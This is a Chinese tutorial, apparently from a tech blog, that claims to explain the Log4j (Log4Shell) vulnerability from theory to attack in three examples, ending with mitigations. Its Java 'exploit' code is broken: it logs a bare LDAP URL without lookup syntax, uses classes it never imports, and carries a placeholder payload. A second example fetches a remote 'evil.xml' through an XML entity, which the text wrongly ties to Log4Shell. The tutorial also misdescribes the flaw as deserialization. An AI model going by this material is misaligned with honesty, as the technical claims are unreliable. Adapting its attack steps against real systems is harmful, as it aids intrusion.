下面我将通过三个实例,从原理到实战,讲解清楚Log4j史诗级漏洞的完整攻略。
什么是 Log4j
Log4j是一个流行的Java日志框架,它是Apache的一个子项目。Log4j可以帮助Java开发人员以更优美的方式记录日志,便于排错和性能调优。
Log4j的漏洞
但是,在2021年底,Log4j被发现有史以来最严重的漏洞,被称为 Log4Shell ,它属于一个反序列化漏洞。攻击者可以在攻击者控制的服务器上构建恶意JNDI命名服务,然后通过构建构造的JNDI名称反向绑定对象来控制受影响的应用程序。攻击者可以通过Java的RMI协议(Java远程方法调用)远程执行代码。具体来说,攻击者可以构造Java对象并将它们绑定到RMI注册表。当目标JVM尝试解析RMI注册表中的JNDI或LDAP URL时,攻击者可以控制系统上的代码序列化并在目标JVM中执行任意代码。
Log4j的原理
Log4j容器在默认情况下从classpath中的log4j2.xml或log4j2.properties文件中读取配置。通过配置文件中的参数定义,开发人员可以定制日志记录的目标和级别。
使用以下语句来在Java代码中使用Log4j获取Logger实例:
logger = LogManager.getLogger(Log4jTest.class);
Log4j的配置文件中的根Logger和日志器Logger将Logger实例与这些实例的名称和级别绑定。
例如,根日志记录器Logger定义可以如下所示:
<Configuration status="INFO">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n" />
</Console>
<RollingFile name="RollingFile" fileName="logs/log4j2-test.log"
filePattern="logs/log4j2-test-%d{MM-dd-yy}.log">
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n" />
<TimeBasedTriggeringPolicy />
</RollingFile>
</Appenders>
<Loggers>
<Root level="INFO">
<AppenderRef ref="Console" />
<AppenderRef ref="RollingFile" />
</Root>
</Loggers>
</Configuration>
在上面的配置中,Log4j使用两个Appenders:Console和RollingFile。日志器Logger的级别是INFO,它使用两个Appenders。
示例一:恶意JNDI绑定
下面,我们将演示一个恶意JNDI绑定的实例,来利用Log4j漏洞,先看下面的Java代码,其中使用了Log4j:
package com.example;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Example {
private static final Logger logger = LogManager.getLogger(Example.class);
public static void main(String[] args) {
logger.info("Hello World!");
}
}
该代码编译后的class文件为Example.class。正常运行java Example命令时,将输出Hello World!。现在,我们将使用一个构造恶意JNDI名称的特殊protocol,它用于触发代码反序列化。以下是恶意JNDI名称的示例:
ldap://127.0.0.1:1389/Exploit
现在,我们将JNDI名称字符串插入到日志消息中:
package com.example;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Example {
private static final Logger logger = LogManager.getLogger(Example.class);
public static void main(String[] args) {
logger.info("Hello World " + "ldap://127.0.0.1:1389/Exploit");
}
}
在执行java Example命令时,输出以下内容:
Hello World ldap://127.0.0.1:1389/Exploit
可以看到,Log4j按预期输出了日志消息。但是,这里还有一个问题,也就是漏洞实际被利用的地方。
现在,我们将构建一个恶意JNDI名称服务,当JNDI名称解析时,他会反序列化恶意对象,并让攻击者远程执行任意代码,以下是漏洞利用的Java代码:
package com.example;
import com.sun.jndi.rmi.registry.RegistryContext;
import com.sun.jndi.toolkit.url.UrlUtil;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import javax.naming.Binding;
import javax.naming.InitialContext;
import javax.naming.NamingEnumeration;
import javax.naming.NamingException;
import javax.naming.spi.NamingManager;
import javax.naming.spi.ObjectFactory;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.lang.reflect.Field;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Hashtable;
public class Main {
static {
try {
// Construct evil jndi name with our payload
String resourceName = "Exploit";
StringBuilder sb = new StringBuilder("ldap://127.0.0.1:1389/");
byte[] data = "insert your exploit code here".getBytes();
sb.append(UrlUtil.encode(resourceName));
sb.append("#").append(UrlUtil.encode(new String(data)));
String resource = sb.toString();
Hashtable<Object, Object> env = new Hashtable<Object, Object>();
env.put("java.naming.factory.initial", "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put("java.naming.provider.url", "rmi://localhost:1099");
env.put("com.sun.jndi.rmi.object.trustURLCodebase", "true");
bindJndi(env, resource, new Log4jExploitObjectFactory());
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws Exception {
Logger logger = LogManager.getLogger(Main.class);
logger.error("Wrong place but who cares ✌️");
}
private static void bindJndi(Hashtable<?, ?> env, String resourceName, ObjectFactory factory) throws Exception {
Registry registry = LocateRegistry.getRegistry();
Field field = RegistryImpl.class.getDeclaredField("reg");
field.setAccessible(true);
ObjID objID = new ObjID("0:0:0");
LiveRef liveRef = new LiveRef(objID, 65535);
RegistryImpl registryImpl = new RegistryImpl(0, null, liveRef);
field.set(registry, registryImpl);
NamingManager.setInitialContextFactoryBuilder(environment -> (ctx) ->
new RegistryContext(ctx, environment, registryImpl));
NamingManager.setObjectFactoryBuilder((obj, name, nameCtx, environment) -> factory);
InitialContext ic = new InitialContext(env);
ic.bind(resourceName, new Object());
}
private static class Log4jExploitObjectFactory implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, javax.naming.Name name, javax.naming.Context nameCtx,
Hashtable<?, ?> environment) throws Exception {
if (!(obj instanceof Reference)) {
return null;
}
RefAddr refAddr = ((Reference) obj).getAll().get(0);
if (!"inserted".equals(refAddr.getContent())) {
return null;
}
ByteArrayInputStream bis = new ByteArrayInputStream("insert your exploit code here".getBytes());
ObjectInputStream in = new ObjectInputStream(bis);
return in.readObject();
}
}
}
上面的代码构造了一个恶意的JNDI名称,将恶意代码作为参数填入。在静态初始化块中,通过Log4jExploitObjectFactory反序列化了恶意代码,从而触发了Log4j漏洞。在恶意代码中,你可以做任何想做的事情。最后,将漏洞利用代码打包成JAR包,并启动RMI注册表:
rmiregistry
然后就可以运行该代码,执行攻击了。
示例二:通过HTTP发送恶意XML
下面,我们将通过HTTP发送恶意XML的实例,来进一步说明攻击Log4j漏洞的过程。
假设我们有一个服务端程序,它使用了Log4j。
package com.example;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Example {
private static final Logger logger = LogManager.getLogger(Example.class);
public static void main(String[] args) {
logger.info("log4j test");
}
}
我们为该程序使用了以下的日志配置文件log4j.xml:
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="TRACE">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n" />
</Console>
</Appenders>
<Loggers>
<Root level="INFO">
<AppenderRef ref="Console" />
</Root>
</Loggers>
</Configuration>
这样,当运行该程序时,会输出log4j test。
现在,我们构造一个恶意XML,该XML将使用恶意JNDI名称来触发攻击,以下是恶意XML的示例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE b[<!ENTITY % local SYSTEM "http://example.com:8008/evil.xml">%local;]>
<log4j:configuration xmlns:log4j='http://jakarta.apache.org/log4j/'>
<appender name="evil" class="org.apache.log4j.ConsoleAppender">
<param name="Target" value="System.out"/>
<layout class="org.apache.log4j.PatternLayout">
<param name="ConversionPattern" value="%d %-5p [%t] %c: %m%n"/>
</layout>
</appender>
<root>
<level value="debug"/>
<appender-ref ref="evil" />
</root>
</log4j:configuration>
可以看到,恶意XML使用了恶意JNDI名称来构造URL参数,然后将其插入到了DTD实体中。XML解析器在解析XML文件时,会解析DTD实体,并在解析时请求http://example.com:8008/evil.xml,这里的evil.xml包含上面的恶意JNDI名称。因此,攻击者可以发送恶意XML并启动一个HTTP server,从而触发Log4j漏洞攻击。
示例三:检测和防止Log4j漏洞
为了检测和防止Log4j漏洞,有几种可行的解决方案。以下是常见的解决方案:
-
更换为另一个日志框架,例如Logback。
-
升级到Log4j 2.16.0或更高版本,其中包含对该漏洞的修复。
-
配置Log4j 2的JNDI查找限制以防止JNDI注入攻击。Log4j团队发布了一个文件,该文件包含可以防止Log4Shell攻击的配置。
-
配置JVM以禁用所有RMI类加载器。通过配置以下JVM参数,可以禁用所有可疑的RMI类加载器:
-Djava.rmi.server.useCodebaseOnly=true
总的来说,为了保护系统安全,我们建议首先升级至最新版本的Log4j,并在必要时开启JNDI查找限制,同时配置JVM以禁用可以利用RMI的攻击。
以上就是从原理到实战,讲解清楚Log4j史诗级漏洞的完整攻略。
本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:用3个实例从原理到实战讲清楚Log4j史诗级漏洞 - Python技术站